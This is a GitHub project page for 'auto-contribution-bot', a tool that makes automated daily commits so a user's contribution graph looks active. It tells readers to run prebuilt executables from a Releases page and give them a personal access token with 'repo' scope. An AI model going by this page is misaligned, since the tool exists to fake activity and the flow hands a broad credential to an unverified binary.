Skip to content

index.md

Latest commit

 

History

History
92 lines (66 loc) · 4.31 KB

index.md

File metadata and controls

92 lines (66 loc) · 4.31 KB
layout default
title 🤖 auto-contribution-bot - Keep Your GitHub Activity Active
description 🤖 Automate daily contributions on GitHub to maintain your streak effortlessly, keeping your profile active and vibrant without the extra effort.

🤖 auto-contribution-bot - Keep Your GitHub Activity Active

Download auto-contribution-bot

📋 Description

auto-contribution-bot is a simple, yet effective tool that automates daily commits to your GitHub repository. This bot helps maintain a vibrant contribution graph, ensuring your activity appears consistent. It is perfect for those looking to keep their GitHub profile active without daily manual input.

🚀 Getting Started

1. System Requirements

To run auto-contribution-bot, ensure your system meets the following requirements:

  • Operating System: Windows, MacOS, or Linux
  • An active GitHub account
  • Basic familiarity with using GitHub

2. Installation Prerequisites

Before using the bot, make sure you have:

  • Git installed on your computer. If you do not have it installed, you can download it from git-scm.com.
  • A repository on GitHub where you want to add your daily commits.

📥 Download & Install

To get the auto-contribution-bot, visit this page to download: Download auto-contribution-bot.

Steps to Download

  1. Click on the link above to go to the Releases page.
  2. Look for the latest version, which will be marked prominently.
  3. Download the relevant file for your operating system (Windows, MacOS, or Linux) by clicking on it.

Example Files You Might Find

  • auto-contribution-bot-windows.exe for Windows users
  • auto-contribution-bot-macos for MacOS users
  • auto-contribution-bot-linux for Linux users

3. Running the Bot

Once you have downloaded the appropriate file, follow these steps to run the bot:

  1. Locate the downloaded file on your computer.
  2. For Windows:
    • Double-click on auto-contribution-bot-windows.exe.
  3. For MacOS and Linux:
    • Open a terminal window.
    • Navigate to the directory where you downloaded the file.
    • Run the command: chmod +x auto-contribution-bot-macos (or .linux) to make it executable.
    • Then, type ./auto-contribution-bot-macos (or ./auto-contribution-bot-linux) and press Enter.

⚙️ Configuration

1. Setting Up the Bot

After launching the bot, you will need to configure it to commit to your desired GitHub repository.

  • Provide your GitHub username and personal access token during the setup. This token allows the bot to make commits on your behalf.
  • Specify the repository name in which you want the bot to create daily commits.

2. Personal Access Token Creation

To create a personal access token:

  1. Log into your GitHub account.
  2. Navigate to Settings > Developer settings > Personal access tokens.
  3. Click on Generate new token, give it a name, and select the relevant permissions (at a minimum, select repo scope).
  4. Copy the generated token and use it in the bot's setup.

🔄 Usage

Once configured, the auto-contribution-bot will automatically make a commit every day at a specified time. You need to keep the bot running on your system for it to work seamlessly.

Daily Commit Details

The bot will add a simple message like "Automated contribution" to your repository. You can adjust the commit message in the configuration stage if desired.

⚡ Troubleshooting

If you encounter issues while using the bot, try the following fixes:

  • Ensure your personal access token has the correct scopes.
  • Double-check that your repository name is correctly entered.
  • Make sure you have Git installed and are using an updated version.

🌐 Additional Resources

For further information, you may want to explore:

  • GitHub Actions, to understand how automation works on GitHub.
  • Git documentation for more details on commands and workflows.

Next steps:

  • For more usage tips and features, visit our GitHub Wiki.

Thank you for choosing auto-contribution-bot. We hope it helps keep your GitHub contributions consistent and your projects active!